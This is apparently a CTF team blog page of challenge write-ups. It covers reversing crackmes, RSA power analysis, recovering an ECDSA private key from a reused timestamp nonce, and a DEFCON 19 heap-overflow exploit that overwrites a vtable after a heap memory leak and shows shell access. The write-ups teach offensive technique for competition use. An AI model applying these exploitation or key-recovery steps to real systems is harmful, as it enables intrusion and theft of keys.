Случайно наткнулся на утилиту SnD Reverser Tool. В частности, позволяет просканировать PE на константы криптоалгоритмов.

Появилась возможность немного пореверсить, разбор таска Artifact.

Win32 PE, не упакован. В строках есть "Base must be binary (MR_ALWAYS_BINARY defined in mirdef.h ?)", а в импорте "QueueUserAPC". Первое говорит о прилинкованной библиотеке Miracl. Второе - об асинхронных процедурах.

Делаем/применяем сигнатуры IDA для Miracl. В моем случае сигнатуры не сработали.

IDA находит _main по адресу 0x00403700, ее псевдокод:

hFile = CreateFileA("ctf-pass-file.txt", GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
ReadFile(hFile, g_pFileBuffer, 0x10u, &NumberOfBytesRead, 0);
...
SleepEx(1u, TRUE);
if (g_pDecisionFunc(g_pFileBuffer))
{
    printf("fail!\n");
}
else
{
    printf("you did it!\n");
    ...
    szHash = GetHash();
    printf("%s\n", szHash);
}

Создаем файл со строкой 16 символов, патчим переход по адресу 0x00403799, чтобы всегда сваливаться на ""you did it!". Запускаем, получаем какой-то хэш, как ответ не подходит.

Ставим брейк на 0x00403791 на g_pDecisionFunc(g_pFileBuffer). Запускам под отладчиком, Olly падает.

Having trace.pkl file and title with keyword "power" we know thats it's an Power Analysis task. In task said it's an signature generation function, by task name keyword "tokens" we can assume it's RSA.

If we plot some of our data list, we get something like: click to zoom
Can you see impulses?

Main idea of Power analysis is that different instructions have different power consumption patterns.
RSA signature generation:
S = M^d mod N

or

S=1
for i =L-1 downto 0:
    S = S^2 mod N
    if di == 1:
        S = S * M mod N
For every bit of d we've square and if bit = 1 we've multiplication also. So we just check our data for duration patterns:
short+long=1, short=0. Simple, hah?

Sources included.
Thanks to @hellman1908 for error corection!
Fluxfingers posted their second pre-ctf challenge. It looks like "nc 0xbadcab1e.lu 9999"
Sending "test" as input we get the following response:
Using secp192r1, SHA-1.
connected at Tue Sep 13 23:03:25 2011.
Your message is test.
(r, s) = (0xe529012d41b1b2667c60764d75ab3318eda4043240bc003b, 0x79a546c30d1097473f675d3b9ee3fb55f9f6e6fd2127f8b)
As we can see SHA-1 is a signature hash function, and secp192r1 is an elliptic curve identificator. So, we have Elliptic curve, hash function and signature = ECDSA.
Sending same message to the server couple of times - we receive different signatures. But if we send same message two times fast enough:
$ echo "test" > /tmp/121
$ echo "test" > /tmp/122
$ perl -e 'foreach (1,2) {`nc -vvv 0xbadcab1e.lu 9999 < /tmp/12$_ >> /tmp/res`}' && cat /tmp/res

This is the signature generation machine.
Using secp192r1, SHA-1.
connected at Tue Sep 13 23:32:03 2011.
Your message is test.
(r, s) = (0x807baa0fd768f05ea851a8a48b0b3f509d02c0f1fc148e36, 0x5551c48119129b3e6bfc1a705d08455cde0fc10f527c1925)

This is the signature generation machine.
Using secp192r1, SHA-1.
connected at Tue Sep 13 23:32:03 2011.
Your message is test.
(r, s) = (0x807baa0fd768f05ea851a8a48b0b3f509d02c0f1fc148e36, 0x5551c48119129b3e6bfc1a705d08455cde0fc10f527c1925)
Boom! k value to be reused, and likely k is a timestamp. Let's check:
$ echo "test1" > /tmp/122
$ cat /dev/null > /tmp/res
$ perl -e 'foreach (1,2) {`nc -vvv 0xbadcab1e.lu 9999 < /tmp/12$_ >> /tmp/res`}' && cat /tmp/res

This is the signature generation machine.
connected at Tue Sep 13 23:36:53 2011.
Your message is test.
(r, s) = (0xf5e361f5e7e9936b1313ea2a8ad49a42f91fca30f232739d, 0xce8e2c43f6245d1f446a100baed038887c70e8e8fe5b2365)

This is the signature generation machine.
Using secp192r1, SHA-1.
connected at Tue Sep 13 23:36:53 2011.
Your message is test1.
(r, s) = (0xf5e361f5e7e9936b1313ea2a8ad49a42f91fca30f232739d, 0xe9a22b9c1feb92d719dc660ab8b3f25207105edb09d3e2ba)
e1 = sha1("test")
e2 = sha1("test1")
s1 = 0xce8e2c43f6245d1f446a100baed038887c70e8e8fe5b2365
s2 = 0xe9a22b9c1feb92d719dc660ab8b3f25207105edb09d3e2ba
compute k
k = ((s1-s2)**-1) * (e1-e2) (mod p) where **-1 is modular inverse

k = 1315957013
Is it a timestamp?
>>> datetime.datetime.fromtimestamp(k)
datetime.datetime(2011, 9, 14, 3, 36, 53)
Having k we can easily compute d:
d = r1**-1 (k*s-e1) mod n
d = 373503280115841781950920337998842730338017239909
ascii(AlwaysUseAFreshNonce)
To check if d is correct - sign message "test" using curve secp192r1 and found d.

As you all probably know, this year DEFCON CTF Final was completely in IPv6. There were 12 teams with IPv6 addresses of servers from dc19:c7f:2011:1::2 to dc19:c7f:2011:c::2.

You probably want to know what did it mean to the team #10 (sutegoma2) with IPv6 address dc19:c7f:2011:a::2?

For them it was extremely difficult to write connect-back shellcodes: it always contained \x0a string from the IP-address which is the caret sign "\n", so the shellcode got cut off by this character.

ddtek made some kind of IP-address team discrimination :-). Hopefully, they are not racists.

Moral: don't use connect-back shellcodes, get whatever you want and terminate inside one connection.

The very first Russian team in the finals of DEFCON CTF gets 4th place!

More writing up is coming soon!

Congrats to all participated members of "IV" and "Smoked Chicken"! Now heading up for 1st place.

In collaboration with Hackerdom, SiBears and Leet More we made the fourth place! Now officially at ddtek.biz.

Defon 19 Quals Results

DEFCON CTF Quals occured at July 3-6 were cool! We took part in the competition together with couple other teams under united name "IV".

53 hours of continuous hacking and reversing, tons of interesting and challenging tasks. We were still submitting tasks in the last seconds and as a result we have passed to the finals, to meet, you guys, in Vegas.

AFAIK nobody has put the solution for pwtent pwnables 500, which was quite an interesting exploitation challenge.

Solution in a nutshell: heap overflow + memory leak.

[1] Vulnerability discovery

The program is a network service. The main loop reads the command number and executes it. In total there are 6 commands supported.

    while (1) 
    { 
      switch (read_option (sock);) 
      { 
        default: 
          continue; 
        case 113: 
          return 0; 
        case 117: 
          cmd_upload_new_record (sock); 
          break; 
        case 100: 
          cmd_download_record (sock); 
          break; 
        case 118: 
          cmd_view_summary (sock); 
          break; 
        case 114: 
          cmd_view_record (sock); 
          break; 
        case 101: 
          cmd_edit_record (sock); 
          break; 
        case 120: 
          cmd_delete_record (sock); 
          break; 
      } 
    } 
[1.1] List of commands

[1.1.1] "upload_new_record"

When creating a new record, an instance of "class01" or "class02" is randomly created. It keeps all the data read. All generated instances are stored in the global associative array.

  read(dev_urandom_fd, &type_dw, 4);
  buf_len = recv(sock, buf, 0x100, 0);
  calc_hash(&hash_str, buf);


  if( type_dw & 1 ){
  {
    class_ptr = operator new(216);
    class01::class01(class_ptr, buf, buf_len);
  }
  else
  {
    class_ptr = operator new(240);
    class02::class02(class_ptr, buf, buf_len);
  }
[1.1.2] "view_summary"

Lists all the classes and calls a virtual function for each.

for ( map::iterator it=buffers_map.begin() ; it != buffers_map.end(); it++ ){
     (*it)->dump_obj();               //virtual function 4
}
Example of output:
Item ID: 0 
Item Value: 2007987856 
Item ID: 1 
Item Value: 3677123346 

[1.1.3] "edit_record"

Calls the virtual function to copy the new buffer.

  read_obj_id(&obj_id, sock);
  recv(sock, buf, 0x100, 0);
  buffers_map[obj_id]->copy_buffer(buf);     //virtual function 0

[1.1.4] other commands

  • view record - show for one record: sequence number, rnd_value and hex dump of data
  • delete record - delete record from map and free memory
  • download record - get raw data
[1.2] Classes

As was shown above, when a record is added, an instance of "class01" or "class02" is randomly generated. These two classes are almost identical, except for buffer size and the implementation of the virtual function "copy_buffer".

struct base_class
{
  cl_vftable *vftable;
  int buffer_len;
  int class_count;
  int type;
};

struct class_01
{
  base_class base;
  char buffer[200];
};

struct class_02
{
  base_class base;
  char buffer[224];
};
Constructor, which copies the data into an internal buffer:

class02:: class02 (class_02 * this, const void * buf, unsigned int buf_len) 
{ 
  base:: base (& this-> base); 
  this-> base.vftable = & class02_vftable; 
  if (buf_len <= 224) 
    this-> base.buffer_len = buf_len; 
  else 
    this-> base.buffer_len = 224 
  return memcpy (this-> buffer, buf, this-> base.buffer_len); 
} 
Virtual function table:

.rodata:0804ECC8 class02_vftable dd offset cl02_vfunc0_copy_buffer
.rodata:0804ECCC                 dd offset cl02_vfunc1_get_buffer
.rodata:0804ECD0                 dd offset cl02_vfunc2_send_buffer
.rodata:0804ECD4                 dd offset cl02_vfunc3_dump_obj
.rodata:0804ECD8                 dd offset cl02_vfunc4_destructor
.rodata:0804ECDC                 dd offset cl02_vfunc5_destructor_with_delete
All generated instances are stored in an associative container, which is implemented as a red-black tree:

struct rb_tree_item 
{ 
  int color; 
  rb_tree_item * parent; 
  rb_tree_item * left; 
  rb_tree_item * right; 
  char * hash_str; 
  base_class * value; 
}; 
[1.3] Heap overflow

The method "class_02::copy_buffer" implements a classical buffer overflow. It is called from "cmd_edit_record" and copies the data came from a client into its own buffer. Since the function copies exactly 248 bytes, but the buffer size is 224 bytes, it is always overwriting 24 bytes in the heap out of border.

void class_02::copy_buffer(class_02 * this, char * buffer) 
{ 
  unsigned int i; 

  for (i = 0; i <= 248; + + i) 
     this->buffer[i] = buffer[i]; 
}
[2] Vulnerability exploitation

Summarizing the said above, when a new record is created there is a 50% chance of getting an instance of vulnerable class. All we need is to wait till it is created and call "edit record" command.

[2.1] Rewrite vftable

During the program execution the memory on the heap is allocated as follows:

[8 byte, heap header] [obj1] 
[8 byte, heap header] [obj2] 
[8 byte, heap header] [obj3] 
Overflowing the heap we'll overwrite the 8 bytes of data belonging to the heap manager and 16 bytes of the object allocated after. If this object is an instance of a class, we'll overwrite vftable of this instance, so we'll be able to pass control to the shellcode.

struct base_class {  
  cl_vftable *vftable;
  int buffer_len;
  int class_count;
  int type;
};

[2.2] Memory leak

We can also rewrite not only vftable of the instance, but also "buffer_len" and "class_count". And the function "dump_obj" copies the data on the basis of "buffer_len".

std:string* cl02_vfunc3_dump_obj(std:string *str, class_02 *this)
{
  char s[0x20];
  unsigned int i;

  str = new std:string();
  sprintf(&s, "Item ID:    %d\n", this->base.class_cnt );
  str += s;
  sprintf(&s, "Item Value: %u\n", this->base.type );

  str += s;
  str += Data:\n";

  for ( i = 0; i < this->base.buffer_len; ++i )
  {
    if ( i && i % 16 )
       str += "\n"
    sprintf(&s, " %02x", this->buffer[i]);
    str += s;
  }

  return str;
}
Thus we can rewrite "buffer_len" and call "view record", which in turn calls "obj_dump" and reads the data from the heap.

If we find a structure "rb_tree_item" on the heap, we can find the address of the instance and accordingly the address of buffer containing the data we can control. The algorithm is as follows:

  1. first double word (color) == 01000000 or 00000000
  2. fifth and sixth double-word (hash_str and value) differ by 20.
struct rb_tree_item
{
  int color;
  rb_tree_item *parent;
  rb_tree_item *left;
  rb_tree_item *right;
  char *hash_str;
  base_class *value;
};
[2.3] Algorithm

In the beginning we need to get two instances put in the memory one right after another. Let's see how the memory is allocated when the new records are being consequentially added:

[8 byte, heap haeder] 
[16 byte, hash_str] 
[8 byte, heap haeder] 
[216 byte, class1 or 240 byte, class2] 
[8 byte, heap haeder] 
[24 byte, rb_tree_item] 
[8 byte, heap haeder] 
[16 byte, hash_str] 
[8 byte, heap haeder] 
[216 byte, class1 or 240 byte, class2] 
[8 byte, heap haeder] 
[24 byte, rb_tree_item]
Okay, now how can we allocate two instances consequently on the heap? Very simply: we create several entries, then delete one, hence the hole is formed in the heap. Next, smaller memory objects like "hash_str" or "rb_tree_item" will be allocated to the hole, when the new instances of the class will be allocated at the end of the heap.

  alloc 3 class        delete class         alloc again
[ hash 1         ]   [ hash 1         ]   [ hash 1         ]
[ class 1        ]   [ class 1        ]   [ class 1        ]
[ rb_tree_item 1 ]   [ rb_tree_item 1 ]   [ rb_tree_item 1 ]

[ hash 2         ]   [ free space     ]   [ hash 4         ]
[ class 2        ]   [ free space     ]   [ rb_tree_item 4 ]
[ rb_tree_item 2 ]   [ free space     ]   [ hash 5         ]
                                          [ rb_tree_item 5 ]
                                          [ free space     ]

[ hash 3         ]   [ hash 3         ]   [ hash 3         ]
[ class 3        ]   [ class 3        ]   [ class 3        ]
[ rb_tree_item 3 ]   [ rb_tree_item 3 ]   [ rb_tree_item 3 ]

[ free space     ]   [ free space     ]   [ class 4        ]
                                          [ class 5        ]
                                          [ free space     ]
Now, if the instance 4 is vulnerable, we can rewrite the data of the instance 5. First time we rewrite "buffer_len" of the instance 5, then we call "view record", in such a way we read the heap. After that we find the "rb_tree_item" structure on the heap, so we know the address of one of the instances (or the address of its buffer) and the hash value. Now we put a buffer containing a new dummy vftable and our shellcode.

[vftable addr]----------+
                        |
[shellcode addr] <------+
[shellcode addr]
[shellcode addr]
[shellcode addr] -------+
[shellcode addr] -------+
[shellcode addr] -------+
                        |
[shellcode] <-----------+
Now, again, rewrite the data of class 5, this time to rewrite vftable pointer to our buffer with dummy vftable pointing to the shellcode. Call any of the functions of the class and shellcode will get control :-).

[3] Demo

snk-box:pp500 snk$ time python pp500_client.py 140.197.212.163[+] Connect to 10.37.129.9
[*] add class: bc2d27ac8b
[*] add class: ca99de04c1
[*] add class: 15c040215a
[*] add class: d2f2f0ca85
[*] add class: 92128d18ee
[*] del class: d2f2f0ca85
[*] add class: 882b156368
[*] add class: 542dfd8f28
[*] add class: 48f78810d4
[*] add class: 24ef6bc9ae
[*] add class: 87febbedde
[*] add class: e3bf84d566
[*] add class: 11cb07ced8
[*] add class: ff01842dbb
[*] add class: 5efafa1aaf
[*] add class: ac3f63ca46
[*] try mem leak
[+] leak sucess ;)
[*] parse memory dump
[!] find class addr: 90caa08 hash:5efafa1aaf
[!] triger vulnerability
[+] check the shell :-)

real     0m9.123s
user     0m3.560s
sys     0m1.123s
snk-box:pp500 snk$ nc -vv 140.197.212.163 6666


Connection to 140.197.212.163 6666 port [tcp/*] succeeded!
echo *
bin key lib
read lol <key; echo $lol
template<code>isa<bitch>to<look>at
The key is: template<code>isa<bitch>to<look>at


exploit code: dc19_pp500_exploit.py

Kudos go to @blackzert and @hellman1908 for joint work on this exploit and valuable advices.

File: rce300.zip
Задание на первый взгляд интересное и необычное, у нас есть игра для Nintendo DS, которая проверяет введенную строку и сообщает success или fail.
Для начала нам нужно загрузить образ в IDA для анализа. В сети есть loader для IDA, но он скомпилирован под старую версию. Можно скомпилировать с новым sdk, но мы пошли по быстрому пути посмотрели нужные поля в заголовке и загрузили прошивку руками.

snk-box:rce300 snk$ ./dump-hdr crackme.nds
gamecode: ####
devicetype: 0x0
devicecap: 0x2
arm9_rom_offset: 0x200
arm9_entry_address: 0x2000000
arm9_ram_address: 0x2000000
arm9_size: 0x41e7c
arm7_rom_offset: 0x42200
arm7_entry_address: 0x37f8000
arm7_ram_address: 0x37f8000
arm7_size: 0xf71c
fnt_offset: 0x51a00
fnt_size: 0x9
fat_offset: 0x51c00
fat_size: 0x0
arm9_overlay_offset: 0x0
arm9_overlay_size: 0x0
application_end_offset: 0x52440
rom_header_size: 0x200

После того как загрузили, поищем интересные строки в памяти. Быстро найдем вот такой кусок:
RAM:020003BE       LDR     R0, =a______________ ; " ______________________________\n"
RAM:020003C0       BL      printf
RAM:020003C4       LDR     R0, =asc_2040858 ; "|                              |\n"
RAM:020003C6       BL      printf
RAM:020003CA       LDR     R0, =aPassword  ; "|            password          |\n"
RAM:020003CC       BL      printf
RAM:020003D0       LDR     R0, =asc_2040858 ; "|                              |\n"
RAM:020003D2       BL      printf
RAM:020003D6       LDR     R0, =asc_20408A0 ; " ------------------------------\n\n"
RAM:020003D8       BL      printf
RAM:020003DC       LDR     R0, =aRootNdh2011 ; "root@ndh2011:# "
RAM:020003DE       BL      printf
RAM:020003E2       LDR     R1, [SP,#8]
RAM:020003E4       LDR     R0, =aS         ; "%s"
RAM:020003E6       BL      scanf
RAM:020003EA       ADD     R3, SP, #16     ; R3 - String

По тому какие параметры передаются очень похоже что это вызов фукций printf и scanf. Чуть ниже идет несколько проверок и вычисление хеша от введенной строки.
rce300.png
Хэш-функция располагается по адресу sub_02003530. Её псевдокод и код полной проверки строки в rce300_src.tgz

snk-box:rce300 snk$ ./brute
Key: DsLrox

rce300-win.png
Задание на первый взгляд было сложным, но как оказалось решалось очень быстро, даже разбираться в устройстве Nintendo не пришлось :(

File: rce200.zip
Представляет из себя приложение для Android. С помощью dex2jar конвертируем из Dalvik bytecode в Java bytecode и c помощью jad или JD-GUI декомпилируем. Внутри у нас три класса: a,b и c, последний представляет из себя хранилище для зашифрованных строк.

a=f9dd11ff6857af73ac9a944dfc52f41b
b=google_sdk
c=MD5
d=android.speech.action.RECOGNIZE_SPEECH
e=SHA-1

Логика приложения простая, оно ждет пока мы скажем голосом слово, проверяет что MD5 от него равен f9dd11ff6857af73ac9a944dfc52f41b, а ключом является SHA1 от него.

По Rainbow tables легко найти MD5(salope) = f9dd11ff6857af73ac9a944dfc52f41b значит ключ:
SHA1(salope)=913beccad686975f8c686d9b3b1ee6bb97c22d6f

Вуа ля :)

Pages

Recent Comments

  • Павел Збицкий: Мне показалось, этот понимает больше алгоритмов. Ну, и куча конвертеров read more
  • kyprizel: для этого ведь уже есть Ильфаковский плагин и KANAL, чем read more
  • hellman: Круто, терь понятно, что там за магия в SleepEx происходила. read more
  • kyprizel: no problem to encode your IP in shellcode :) read more
  • snk: И правда на что-то подобное похоже. К слову, ещё один read more
  • 73ru5: 1) скомпилированный свежий лоадер в интернете есть http://www.romhacking.net/utils/632/ 2) та read more
  • snk: или ты про как саму прошивку в IDA загрузить? Загружаем read more
  • snk: Выписываешь все команды, а потом оптимизируешь руками до приемлемого листинга. read more
  • blackzert: А как ручками разбирали? научи? :) read more
  • Павел Збицкий: Зафиксить сервис можно, запретив получение списка картинок через ooo.. + read more

Find recent content on the main index or look in the archives to find all content.